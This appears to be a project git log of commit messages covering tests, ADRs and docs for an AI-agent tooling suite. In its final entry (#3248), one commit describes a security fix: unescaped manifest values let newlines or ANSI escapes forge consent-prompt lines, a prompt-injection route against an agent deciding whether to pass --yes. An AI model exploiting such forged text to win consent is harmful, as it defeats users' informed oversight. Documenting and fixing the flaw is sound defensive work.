zero. Since gsd-core is written in .cts and the capability declares
.ts/.cts/.mts analyzable, the feature silently found nothing in this repo's
own primary language while reporting success. A safety net that reports
"all clear" because it cannot see is worse than no safety net.

All 98 tests passed over this, because every fixture was plain JS — the
exact failure the test matrix's own "assert against the shape production
uses" warning describes. Adds a TypeScript-shapes suite covering return
types (including unions, generics, object literals and type predicates),
generic parameter lists (constrained and defaulted), export/async/generator
combinations, annotated arrows, class-method modifiers, and optional/
default/rest params — plus the two traps: an overload signature has no body
and must not count, and `a < b && c > d` is a comparison, not a generic.
Detection now reports 24/37/21 functions for the three source files, which
matches a hand count exactly.

Also from review:

- The strict-mode ledger dedup identified entries by parsing a prose
  description string. That is banned by CONTRIBUTING's raw-text-matching
  rule and was a real bug: the "exactly one window per untriaged proposal"
  guarantee rested on prose matching, so rewording a description or editing
  WINDOWS.md by hand silently produced duplicates. Now matches structurally
  on kind + phase + file + line.
- A property test asserted on the stripper's output text. Reframed to
  assert the same invariant through analyzeSource's score.
- nextBaseline's `candidates` parameter has been dead since the anchor
  change; removed from the signature and all call sites.
- Extracted the duplicated require-or-degrade and capability-check
  boilerplate.
- ADR-1953's Implementation bullet still named a `refactor.ship-gate` in
  check-command-router.cts — a leftover from the design cut D6 rejects.
  That file is untouched and no such gate exists. Removed.

Refs #1953

* fix(#1953): keep execute-phase.md under its byte ceiling; un-vacuum the large-file test

Five of the seven remote-runner failures were one cause: the execute:post
dispatch contract, written out inline, grew execute-phase.md 1876 bytes
(93,400 -> 95,276) against a frozen PRE_PHASE6 ceiling of 93,600. A drift-ack
does not clear that — tests/phase6-capstone-conformance.test.cjs and
tests/fix-2285-claude-orchestration-wiring.test.cjs assert the file is
literally under the cap.

The contract now lives in gsd-core/references/loop-hook-dispatch.md, which
already claimed to be the point-agnostic dispatch reference and already
documented ref.skill and ref.agent. It gains the ref.command shape, its
in-context validation rule, the advisory-by-construction statement, and a
note that a point whose workflow hand-rolls one kind is not implementing
this contract. execute-phase.md now defers to it in one line: 145 bytes of
growth, 55 B of headroom under the cap. Better placement than the first cut
— the reference was overstating its coverage, and this makes the claim true
rather than duplicating prose next to it.

Acknowledged by appending to tests/emitted-drift-acks/2930-*.json rather
than a new 1953-*.json: two ack sources may never name the same path, and
that fragment is already the accumulating ack for this file.

Sixth and seventh failures: analyzesLargeFileWithinBounds tripped its own
vacuity guard — the fixture generated ~480 KB against a `> 500000` assert,
so the guard fired and the three assertions after it never ran. The test
has been vacuous since it was written. The matrix row specifies ~1 MB, so
N goes 8000 -> 20000 (1.17 MB, 17% margin) and the guard to > 1_000_000.
Verified by reproducing the exact body against the compiled module: 1168888
bytes, 118 ms, all four assertions hold.

Refs #1953

* fix(#1953): fold the execute:post step deferral into the existing resolve line

The remaining two failures were one test: execute-phase.md carries a SECOND,
tighter assertion than the 93,600 ceiling — `<=93400`, which is exactly its
current size. The file cannot grow by a single byte. My previous fix got it
under 93,600 but not under 93,400, so it still failed. ("H." in the report is
just the parent describe of that same test, not a separate defect.)

Rather than add a paragraph, the deferral now REPLACES the existing hook
resolution line. It read:

  Resolve active step hooks from `EXECUTE_POST_HOOKS_JSON` where
  `kind == "step"` and `ref.skill == "code-review"`.

which is the bug itself written down — only code-review was ever dispatched.
It now reads:

  Dispatch each `kind == "step"` hook per
  @gsd-core/references/loop-hook-dispatch.md. For `code-review`:

The following prose already begins "If no active code-review step hook
exists", so it reads correctly and the code-review handling is untouched.
Net effect on the file is -11 bytes: 93,400 -> 93,389, under the margin
assertion rather than merely under the ceiling.

That also removes the need for a drift-ack: the file shrank, so there is no
growth to acknowledge, and the append to the shared 2930-*.json fragment is
reverted. Leaving it would have shipped a claim of "145 bytes of growth"
that is no longer true, on a file six other issues share.

The test's own comment states the principle this ended up honoring: "the host
loop must stay small — optional-feature detail belongs in the capability
fragment, not the host workflow." Putting the dispatch contract in the
reference rather than inline is that rule, applied.

Refs #1953

* fix(#1953): keep the code-review hook literal the workflow test requires

tests/code-review.test.cjs extracts the <step name="code_review_gate"> block
and asserts it contains `ref.skill == "code-review"` verbatim. The previous
commit replaced the line carrying that literal, so the token vanished and the
test went red — a fair assertion: code-review IS the bespoke branch there and
the workflow should still name it.

Restored inside the same one-line deferral, which now reads:

  Dispatch `kind == "step"` hooks per @gsd-core/references/loop-hook-dispatch.md.
  `ref.skill == "code-review"`:

93,396 bytes — still under the `<=93400` margin assertion and 4 bytes below
the base, so the file continues to shrink rather than grow.

Because three consecutive runs were each reddened by a different assertion on
this one file, this change was verified by sweeping ALL of them at once rather
than one run at a time: every test under tests/ that reads execute-phase.md or
references/loop-hook-dispatch.md was located by resolving its path constants,
and each content/size assertion was evaluated directly against the working
tree — 22 assertions, plus two real executions (gen-section-manifest --check,
and emitted-attribution's full real-tree differential). All pass.

That sweep also confirms the earlier judgement call: the net change to
execute-phase.md is a SHRINK, and the size ratchet only gates growth, so
reverting the append to the shared 2930-*.json ack fragment was correct — an
ack would have been both unnecessary and factually wrong.

Refs #1953

* chore(#1953): backfill changeset pr number to 3261

* docs(#1953): add the missing how-to for acting on a refactor proposal

Reference and explanation shipped (COMMANDS.md, CONFIGURATION.md,
FEATURES.md 159, ADR-1953) but the Diataxis how-to quadrant did not, and
that is the one a user reaches for. CONTRIBUTING's required-docs table is
'new command -> COMMANDS.md + FEATURES.md', so CI was green on a gap.

Enabling this feature is genuinely multi-step and no single page walked it:
turn it on, tune the threshold, understand advisory vs strict, discover
that strict needs a SECOND toggle on a DIFFERENT capability, and know what
to do when a proposal appears. The two-toggle subtlety in particular was a
footnote in a config table; here it is a section with both commands.

Follows the shape of its closest siblings, resolve-edge-coverage-findings
and resolve-prohibition-findings — both 'the loop surfaced a finding, here
is what to do with it'. Includes a reason-code table for the silent cases,
since the analyzer is deliberately quiet in six situations and a user who
expected a proposal needs to tell 'nothing to report' from 'could not look'.

Indexed from docs/README.md beside the other loop how-tos.

Docs-only: exempt from the push gate, no re-verification, pass marker on
2af188b4 untouched.

Refs #1953

* feat(#1953): warn when strict mode is on but nothing will actually block

Closes acceptance criterion 5, which I had wrongly marked satisfied.

refactor.trigger_strict records an untriaged proposal as an open deviation
window, but a ship only STOPS if workflow.windows_enforce is also on — a
toggle owned by the broken-windows capability that this feature neither sets
nor requires. So a user could enable strict, believe ship was gated, and find
out otherwise at ship time.

The split itself stays: requires:["broken-windows"] would force-install the
ledger on advisory users who never enable strict, and a ship:pre gate of our
own would never fire because ship.md has no generic ship:pre gate dispatch.
What was missing was discoverability, so that is what this fixes.

`refactor evaluate` now emits a typed REFACTOR_STRICT_NOT_ENFORCING warning,
naming the exact remediation command, whenever strict is on and either
workflow.windows_enforce is off or broken-windows is unavailable. It fires
only on a run that produced a candidate — with nothing to block on there is
nothing to warn about, and warning every run would be noise.

Reads workflow.windows_enforce through the same resolveConfigKey walk the
router already uses for its own keys rather than a second config reader.
Four tests cover the matrix: strict+enforce-off warns, strict+enforce-on does
not, strict+ledger-absent warns, strict-off never warns.

Also corrects a user-facing message in this same file that told the user to
run `gsd-tools config-set` — the wrong form. docs/CONFIGURATION.md and the
broken-windows capability both use `gsd config-set`, and gsd-tools is invoked
as `node gsd-tools.cjs`, so the bare form may not resolve. The two adjacent
messages in this file now agree.

Refs #1953

---------

Co-authored-by: sim <sim@local>
2026-08-09 19:52:47 -04:00
Tom Boucher
58d73dd220 enhance(#3241): omit the codex per-agent model by default (#3276)
* test(#3241): failing-first suite for the codex passive model posture

Locks ADR-2313's D1-D5 before any production code exists, so the tests
bind to the behavior rather than to whatever the implementation happens
to do.

Red-first (fail against the current tree):
  - the resolver path emits no `model` and no `model_reasoning_effort`
  - a whitespace-only model_overrides value yields no pin
  - isAnthropicFlavoredModel / CLAUDE_AGENT_ALIASES on model-catalog
  - the one-time install notice, and its once-per-install dedupe

Regression guards (pass today, must keep passing): resolver-null via
`inherit` and via absent runtime; a resolver that resolves to nothing;
empty-string and non-string overrides; and the light-tier
service_tier/model_verbosity fields, which are NOT coupled to the model
pin and would silently regress if the implementation coupled them.

Classifying each test as red-first or regression guard is deliberate.
A test that passes on both sides of the change proves nothing, and this
epic has already shipped two such rows before catching them.

The whitespace case is a live defect, not a quirk: `'   '` is truthy,
survives the type guard, is not Anthropic-flavored, and is embedded
verbatim as `model = "   "` — the same class the #2310 guard exists to
stop. Same function, same path, fixed in this phase per CLAUDE.md §3.

Two matrix rows were dropped as vacuous rather than shipped green: a
64-char truncation case (the pinned notice interpolates no
user-controlled value, so it cannot exhibit truncation) and a newline
hazard that the input surface cannot reach.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* feat(#3241): omit the codex per-agent model by default

Implements ADR-2313 D1-D5. generateCodexAgentToml no longer embeds the
runtime resolver's per-tier Codex model, so an agent inherits the
always-available session model instead of a pin a ChatGPT-account Codex
may not expose. model_reasoning_effort disappears with it via the
existing hasPinnedModel coupling (#838) — no logic change needed there.

Supersedes #2517's embedding on the default path only. An explicit
real-Codex model_overrides pin is still embedded verbatim, and the #2310
Anthropic-flavored guard is retained: the model_overrides route to it is
still live even though the resolver route is now unreachable.

The shared rule moves down a layer. CLAUDE_AGENT_ALIASES leaves
model-resolver for model-catalog — a genuine leaf importing only
node:path and its own JSON — with isAnthropicFlavoredModel defined beside
it, and is re-exported from model-resolver so every existing importer is
untouched. This is what lets Phase 2's install-check and Phase 3's sync
consume the rule without taking the config-loader dependency
model-resolver would have dragged into a module documented as pure
read/verify with 33 dependents. A parity test fails if the two ever fork.

Also fixes a live defect surfaced while writing the tests: a
whitespace-only model_overrides value was truthy, survived the type
guard, was not Anthropic-flavored, and so was embedded verbatim as
`model = "   "` — the same class the #2310 guard exists to stop, reached
by a different route. Trimmed before the truthiness test. It is
deliberately not routed through _warnCodexModelOverrideDropped, whose
text would misdescribe a blank field as a mis-typed model.

Adds the one-time install notice (maintainer direction, recorded as an
ADR-2313 amendment): one stderr line naming model_overrides and the
session model, deduped per install rather than per agent, and emitted
only for the population that actually loses a pin.

service_tier and model_verbosity stay decoupled from the model (#774);
a regression guard asserts they still emit with nothing pinned.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#3241): amend ADR-2313, add the model-catalog glossary entry

ADR-2313 gains two dated amendments rather than edits to its merged
text, since ADRs here are append-only.

The first records that a deprecation notice IS offered, reversing the
Migration section's "no deprecation window" position, and states why
that position was wrong rather than just superseding it: the ADR
identified the API-key population as losing something real and then
declined to warn it, in the same document. Hyrum's guidance was applied
to the recourse and not to the notice.

The second records the whitespace-only model_overrides defect and notes
that D2 always implied the fix — the implementation simply never
enforced it and no test covered the case.

CONTEXT.md gains a Model Catalog Module entry. The module had none,
which is why the glossary gate passed without one: check-glossary-refs
verifies that references resolve, not that modules are documented. The
entry records why the Anthropic-flavored rule lives there rather than in
model-resolver, so a later reader does not "helpfully" move it back. The
Model Resolver entry is updated to point at its new home and note the
back-compat re-export.

docs/CONFIGURATION.md carried a claim that is now false: that the
resolved tier ID is embedded into agent frontmatter at install time on
codex and opencode. Corrected to name codex as the exception, with the
400 symptom and the model_overrides recourse.

Changeset leads with the user-visible change and the migration line
rather than the implementation, per the ADR's Hyrum's-Law analysis.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3241): only notice a lost pin when one was actually embeddable

Review finding from an isolated reviewer. The deprecation notice gated
on whether the runtime resolver would have returned *any* model, but the
question that matters is whether that model would have been *embedded*.

Those differ. The #2310 safety gate already rejected an Anthropic-
flavored model arriving from the resolver path before Phase 1 — so for a
mixed-runtime config resolving to a claude-* id against a Codex install
target, the user never had that pin. The notice told them they lost
something they never got, and pointed them at model_overrides for no
reason.

The existing #2310 test drives exactly that path but asserts only the
emitted `model` line, never stderr, which is why it slipped through. Now
covered.

Deliberately unchanged: an Anthropic-flavored model_overrides value plus
a legal resolver model fires BOTH the override warning and the notice.
That is correct — pre-Phase-1 the guard dropped the override, execution
fell through to the resolver, and the resolver's model was embedded, so
that user did lose a pin. Two messages, two distinct true facts, and the
prefixes differ (`gsd: warning — ` vs `gsd: notice — `) so the
one-notice-per-install contract holds. A regression test now pins that
behavior so it does not get "simplified" away.

Of the three tests added, only the first is red-first; the other two
pass on both sides by design and are labelled as guards — one against
over-correcting the fix into silence, one against removing the
intentional double message.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3241): reset the notice dedupe via a seam, not a require.cache bust

The remote runner caught a regression I introduced: the #2760
post-write-validation test began failing with the validator override no
longer intercepting.

Cause, confirmed by trace rather than guessed: the new #3241 review
tests deleted require.cache for bin/install.js and re-required it mid
suite, to clear the notice's module-level dedupe flag. But
runCodexInstall destructures `install` at file load, closing over the
ORIGINAL module's exports. After the cache bust a second instance
existed, so the test's `installModule.__codexSchemaValidator = ...`
mutated the new object while the code under test still called the old
one. The override silently stopped intercepting, the real validator ran
and passed on GSD-emitted output, and the abort-and-restore path was
never exercised.

Cache-busting a module mid-suite breaks every later test that assumes a
single instance, which every other test in the file is entitled to. So
the fix is a seam, not a workaround: bin/install.js exports
_resetCodexNoticeDedupeForTests(), and the three tests call it directly
instead of reloading the module.

The flag is module-level by design — the dedupe is per-install and
install() already resets it — so a unit test driving
generateCodexAgentToml directly needs an explicit way to reset it. That
is now what it has.

Swept the rest of the #3241 diff for the same hazard; this flag was the
only shared module-level state introduced.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* fix(#3241): reset both codex dedupe stores, not just the notice flag

Second incomplete fix, same class one layer down. bin/install.js keeps
TWO module-level dedupe stores and the require.cache bust I removed had
been papering over both; my replacement seam cleared only one.

_codexModelOverrideDroppedWarned is a Set keyed `${agent}::${value}`.
tests/codex-config.test.cjs:558 already emits for `gsd-executor::sonnet`,
so by the time the review test using the same agent and value ran,
_warnCodexModelOverrideDropped was a silent no-op and the expected
warning never appeared.

The seam now clears both stores and is renamed to say so. Its comment
records that per-install dedupe lives in module scope deliberately and
that this is the single sanctioned way for a unit test to clear it.

Swept bin/install.js for every other module-scope mutable a test could
latch. Two are inert (capability registries assigned once at require
time; selectedRuntimes computed once from argv). One is a genuine latent
hazard and is deliberately NOT folded in: attributionCache (:1654)
memoizes getCommitAttribution by runtime name for process lifetime, so
two in-process installs of one runtime with differing attribution config
would collide. It is unreachable from any current test and is a
different concern from Codex warning dedupe, so it stays out of this PR
rather than widening it.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* docs(#3241): correct the codex tier-routing how-to

The docs gate forced the task-oriented quadrant and found the worst
defect in this change's documentation surface.

docs/how-to/configure-model-profiles.md carried a section titled "If you
want tiered models on Codex" telling users to set runtime:codex +
model_profile:balanced, promising "GSD resolves each tier alias to the
Codex-native model and reasoning effort defined in the runtime tier
map." That is exactly the behavior this PR removes — a how-to page
confidently instructing users to do something that no longer works,
which is worse than a missing page because it fails at the moment of
use.

Rewritten to state that Codex does no tier routing, give the
model_overrides pin as the supported alternative, and name the two
constraints on what may be pinned: it must be a real Codex model id, and
the account must actually expose it — GSD cannot verify the second, so
the honest advice when unsure is to omit the pin. Carries an upgrade
note for both account types, since the change is a no-op for ChatGPT
accounts and a real loss for API-key ones.

Also tightened the same page's claim that Codex "embeds the resolved
model" at install time — now true only of an explicit override. The
re-install instruction it supports is still correct and still needed, so
only the premise moved.

Both the required-docs set (COMMANDS.md + FEATURES.md) and
lint-docs-required.cjs would have passed before this commit, since
CONFIGURATION.md and the ADR had already moved. Neither checks the
quadrant a user in trouble actually opens.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

* chore(#3241): backfill changeset pr number (#3276)

---------

Co-authored-by: sim <sim@local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-09 19:16:04 -04:00
Tom Boucher
2ac21c7fdb docs(#2980): ratify the payload-carried error idiom as a degraded result (#3270)
* docs(#2980): ratify the payload-carried error idiom as a degraded result

Records ADR-2980: an `error` key in a gsd-tools result payload on stdout with
exit 0 is a ratified contract meaning the command ran to completion and is
reporting a condition, not a process failure. Faults keep stderr + exit 1 +
--json-errors.

Normalizing the 42 output({error}) sites to exit 1 was declined on measured
blast radius (get_impact rates cmdStateSnapshot CRITICAL; output has 170 direct
callers) — a Hyrum's Law break with no versioning escape hatch for an exit code.

Adds the "Degraded results vs faults" section to docs/json-errors.md with a
correct-caller recipe, indexes that page from docs/README.md, and records the
two-channel contract in the CONTEXT.md I/O Module entry. No code change.

Closes #2980

* docs(#2980): correct the site count and cross-refs after review

The isolated review found the population figure was the answer to a regex,
not to the question. `output\(\{\s*error:` only matches literals whose FIRST
key is `error`; re-deriving it by brace-matching output()'s first argument
gives 60 sites across 9 modules (42 error-first + 18 error-not-first), adding
workstream.cts, phase.cts and gsd2-import.cts. roadmap.cts:260 is the case in
point — it carries `error` alongside `found:false` and is the site that
actually produces the documented `roadmap get-phase` output.

Also from review: correct the --raw claim (11 sites pass a rawValue, not 2),
reconcile the missing-required-argument count to the 7 verified sites, link
the bare ADR-2966 references per the ADR lifecycle rule, and fix 'licence'
to American spelling.

---------

Co-authored-by: sim <sim@local>
2026-08-09 16:44:29 -04:00
Tom Boucher
c07297cd50 docs(#2869): record ADR-2866 install-surface resolution (#3265)
Phase 0 of epic #2866. Records the decision that the install pipeline
resolves surface identity — (runtime × scope × trigger) — as a value
instead of implying it from destination paths.

The ADR makes four things explicit:

- Amends ADR-3660 (placement -> placement + trigger resolution) and says
  why placement-only stopped paying: the /gsd-<name> trigger two
  artifacts collide on is not a value anywhere, so #2218 cannot be
  stated by any module or test.
- Adds one axis to ADR-1016's deliberately-closed descriptor vocabulary
  (host trigger precedence), required-with-default so ADR-894's
  additive-only stability contract holds.
- Records the @-include constraint (expands ~, does NOT expand env
  vars, no conditional syntax) as the reason #2218 triage option 1 is
  REFUTED rather than merely deprioritized.
- Notes the non-conflicts: completes ADR-58 rather than revising it,
  and preserves ADR-1508's dependency direction.

ADR-3660 and ADR-1016 each gain the reciprocal Amended by back-link,
matching the corpus convention ADR-2782 already set on ADR-1016. Each
states that the decision is recorded now while the modules change at
Phase 2 (#2871), so no reader is told a widening has already shipped.

Also corrects CONTEXT.md's Installer Module entry: bin/install.js is
hand-authored, not generated. ADR-1508 states this verbatim and no
build step emits it; the stale annotation invites contributors to look
for a generator that does not exist.

Docs-only. Verified via the remote runner.

Closes #2869

Co-authored-by: sim <sim@local>
2026-08-09 16:15:42 -04:00
Tom Boucher
a5706bd39d enhance(#2596): validate a wave branch's committed diff stays in its declared scope (#3264)
* test(#2596): failing-first suite for worktree-wave scope conformance

Binds the advisory diff-vs-declared-scope check to behavior before it exists:
the pure coverage predicate, the SUMMARY-artifact exemption and its parity with
the rescue walker, the gauntlet integration (never flips ok, degrades on a git
failure, survives a later block), the manifest normalizer's files_modified
handling, and the --files negative-input matrix on record-agent/create.

Refs #2596

* enhance(#2596): warn when a wave branch commits outside its declared scope

The worktree-wave merge gauntlet validated branch, base, deletions, SUMMARY
rescue and a clean worktree, but never compared a plan branch's actual
committed diff against the files_modified the plan declared — so an executor
that committed outside its brief merged into shared phase state silently.

Adds an advisory scope-conformance check: when the manifest entry carries a
declared scope, the gauntlet diffs HEAD...<branch> and appends one structured
warning per path outside it. It never flips ok and never blocks the merge;
promotion to a hard gate is a separate, disclosed change. With no declared
scope no git subprocess is spent at all.

Refs #2596

* docs(#2596): document the advisory worktree-wave scope-conformance check

Records the optional --files flag on worktree record-agent/create, the
advisory warnings channel cleanup-wave now emits, and its two deliberate
noise limits (SUMMARY-artifact exemption, literal-prefix glob matching).
Wires execute-phase to pass the plan's already-parsed PLAN_FILES.

Refs #2596

* fix(#2596): close review findings on the scope-conformance advisory

- share one path normalizer between the SUMMARY-artifact predicate and the
  scope comparison so the exemption and the check cannot drift
- wire --files into the orchestrator-worktree dispatch, which created a
  worktree but never declared its scope, so the advisory silently did not
  apply on that backend; ADR-1239 requires both adapters share one check
- correct the now-false blockquote claiming the check does not exist yet
- add the fast-check property tests the repo requires for parser logic
- add the record-agent/create parity test that Generative Fix Divergence
  requires for two surfaces implementing one rule

Refs #2596

* fix(#2596): keep execute-phase.md under the frozen pre-phase-6 byte ceiling

The one-sentence note added with the --files flag pushed execute-phase.md to
93708 bytes, past the ADR-857 PRE_PHASE6 cap of 93600 — the tightest of the
three workflow size gates, and a hard cap an acknowledgment cannot clear. It
failed three tests plus the differential attribution check.

Condense the note to a one-line pointer (93543, 57 B of headroom); the full
explanation already lives in docs/CLI-TOOLS.md and the dispatch step. The flag
itself stays in the command, because the orchestrator reads this workflow at
runtime and cannot pick it up from docs/.

Acknowledge the remaining 143 B of growth by appending to the existing
execute-phase.md fragment rather than adding a second one — the ack lint
rejects two sources naming the same path.

Refs #2596

* fix(#2596): make the execute-phase.md edit net-negative, not merely under the cap

The size gate on this file is two assertions, not one: bytes < 93600 AND
bytes <= 93400. The base is exactly 93400, so the file is at its budget and
any growth trips the margin assertion — the previous fix cleared the ceiling
but not that.

Move the --files explanation to per-plan-worktree-gate.md, which already owns
PLAN_FILES and carries no cap, and reclaim the rest from two clauses in the
sentence being edited: the cleanup-wave rules phrasing, and a 'non-zero exit'
the very next sentence already states. execute-phase.md ends at 93392, eight
bytes below base. The flag itself stays in the command — the orchestrator
reads this workflow at runtime and cannot pick it up from docs/.

With no growth left, the acknowledgment is unnecessary and its byte delta was
no longer true, so the shared ack fragment is restored byte-identical to base.

Refs #2596

* docs(#2596): add the how-to for interpreting scope-conformance warnings

The docs for this change were entirely Reference — the flag and the warning
codes — with the task-oriented quadrant empty. Adds the page that answers the
question an operator actually has when the advisory fires: what the two codes
mean, that nothing is blocked so there is no failure to hunt for, how to tell
whether the executor over-reached or the plan under-declared, and the three
ways the check legitimately stays silent so an absence of warnings is not
mistaken for proof of conformance.

Refs #2596

* chore(#2596): backfill changeset pr number to 3264

---------

Co-authored-by: sim <sim@local>
2026-08-09 16:12:57 -04:00
Tom Boucher
b7431a9259 feat(#1956): flag cross-artifact fact drift in the plan drift guard (#3259)
* test(#1956): failing-first contract for cross-artifact fact-drift pass

* feat(#1956): flag cross-artifact fact drift in the plan drift guard

* fix(#1956): correct config-key assertion and bidirectional lifecycle-lag exemption

* docs(#1956): document the cross-artifact axis in the architecture reference

* feat(#1956): decide the phase-status drift axis deterministically

* fix(#1956): scope the progress-table lookup, abstain without a position section, rank deferred

* docs(#1956): backfill changeset pr number

---------

Co-authored-by: sim <sim@local>
2026-08-09 14:23:35 -04:00
Tom Boucher
f96cb44f85 enhance(#3248): disclose capability skills as an instruction surface (#3253)
* test(#3248): failing-first suite for instruction-surface disclosure

28 matrix rows from 50-test-matrix.md. Rows requiring the new
Disclosure.instructionSurfaces field fail today; rows 18-20/23-25 (the
ADR-2363 D4 signature invariants) pass today by construction because the
current code never reads skills/agents at all, and stand as regression
guards for the implementation commit.

Refs #3248

* feat(#3248): disclose capability skills and agents as an instruction surface

ADR-2363 D5. A capability whose only contribution was skills disclosed
nothing at install: summarizeDisclosure early-returned "ships no executable
surfaces (declarative only)" because hasExecutable was false, while each
SKILL.md body landed verbatim in the agent's instruction context.

discloseExecutableSurfaces gains a fifth, NON-executable class,
instructionSurfaces, collecting declared skills/agents stems through the same
safeCollect wrapper as the four existing collectors, so a hostile value
degrades only this class and the function stays total for any manifest shape.
Nothing existing is edited: the collectors, hasExecutable, disclosureSignature
and missingArtifacts are untouched. get_impact rates the symbol CRITICAL at
196 affected, which is why the design is strictly additive.

D4 is implemented by omission and pinned rather than left incidental: adding,
changing or removing skills/agents leaves disclosureSignature byte-identical,
so no stored consent record is perturbed and no spurious re-consent fires.
ADR-2782's conditional-append trick is deliberately NOT reused - it worked
because no manifest could declare a reviewer body before that class existed,
whereas skills predate this one, so a conditional append would re-sign every
already-consented skill-bearing capability.

The renderer is extracted as summarizeInstructionSurfaces and called from BOTH
branches of summarizeDisclosure. Appending only at the end would never render
for skill-only capabilities - the ones that need it - since those take the
early return. That branch's "declarative only" claim is now conditional on
there being no instruction surface either. The renderer iterates rather than
spreading into push, so an unbounded stem count cannot throw RangeError, and
tolerates the bare {} the CLI edge passes via `res.disclosure || {}`.

Scope note: #3248's prose says "skill stems"; ADR-2363 D3 classifies
instruction surfaces as "skills, agents". Shipping skills alone would leave an
ADR deliverable owned by no phase, and the epic has no Phase 2. Agents are the
same shape at no extra cost. Narrowing back is a two-line change.

Ratifies ADR-2363 (Proposed -> Accepted) and adds the owed ADR-1244 back-link.

Closes #3248

* fix(#3248): escape consent-prompt values and narrow disclosure to skills

Two review findings, both of which made the previous commit wrong.

BLOCKER (isolated adversarial review). Every manifest-supplied value
interpolated into a consent-prompt line was rendered unescaped. Those lines
are joined with \n and written RAW to stderr on the needs-consent path
(capability-command-router -> cli-exit runMain), so a stem carrying a newline
forged additional lines indistinguishable from genuine GSD disclosure text,
and an ANSI escape could clear or rewrite lines already printed. That defeats
the informed-consent guarantee this change exists to provide, and is a
prompt-injection vector against any agent that reads the stderr text to decide
whether to retry with --yes.

The hole was not unique to the new class - hook event/script, command
family/module/router, every MCP field, and every reviewer-lane field were
equally unescaped. Fixing only the new one would have created the
generative-fix divergence this repo tracks, so renderValueForPrompt is applied
to all five classes through one helper, guarded by a parity test that fails if
a future class skips it. Escaping is identity for ordinary names, so no
well-formed manifest's output changes. The disclosure OBJECT stays verbatim -
only the rendered LINE is escaped - because the signature and every consumer
reasoning about identity depend on the declared value.

NARROWED to skills only. The previous commit also collected agents, arguing
ADR-2363 D3 classifies instruction surfaces as "skills, agents". Verified
against staging: stageSkillsForRuntimeAsSkills takes a registry and unions
third-party skills in via readInstalledCapabilitySkill, while
stageAgentsForRuntimeWithConverter takes only a source directory and has no
registry-aware path. Third-party agents are never staged into the instruction
context, so disclosing them would have put a false claim in a security prompt -
worse than the scope creep two reviewers flagged it as. D3's classification
stands; D5 now records that Phase 1 implements the skills half and that
whether agents should be staged at all is an open maintainer question.

Also reverts the premature ADR-2363 ratification. The previous commit flipped
it to Accepted and asserted "#3248 merged" while this branch IS #3248 and is
unmerged. Status returns to Proposed, and the ADR-1244 back-link - owed only on
ratification - is withdrawn.

Adds the fast-check property suite CLAUDE.md requires and the direct precedent
(reviewer-trust-disclosure) already had: totality, D4 signature invariance, D3
hasExecutable invariance, and renderer totality over adversarial manifests.

Refs #3248

* chore(#3248): correct changeset scope claim and backfill pr number

The fragment was written against the pre-narrowing commit and still
advertised 'skills and agents'. 4d26887e narrowed disclosure to skills
only - third-party agents are never staged into the instruction context -
but did not touch the fragment, so the release notes would have carried a
claim the code does not implement.

Also backfills pr:0 -> 3253 and names the prompt-escaping fix, which is
user-visible and was absent from the original body.

Changeset-only; no code or test changed, so the gsd-test pass recorded for
4d26887e still describes this tree's behavior.

Refs #3248

---------

Co-authored-by: sim <sim@local>
2026-08-09 13:52:29 -04:00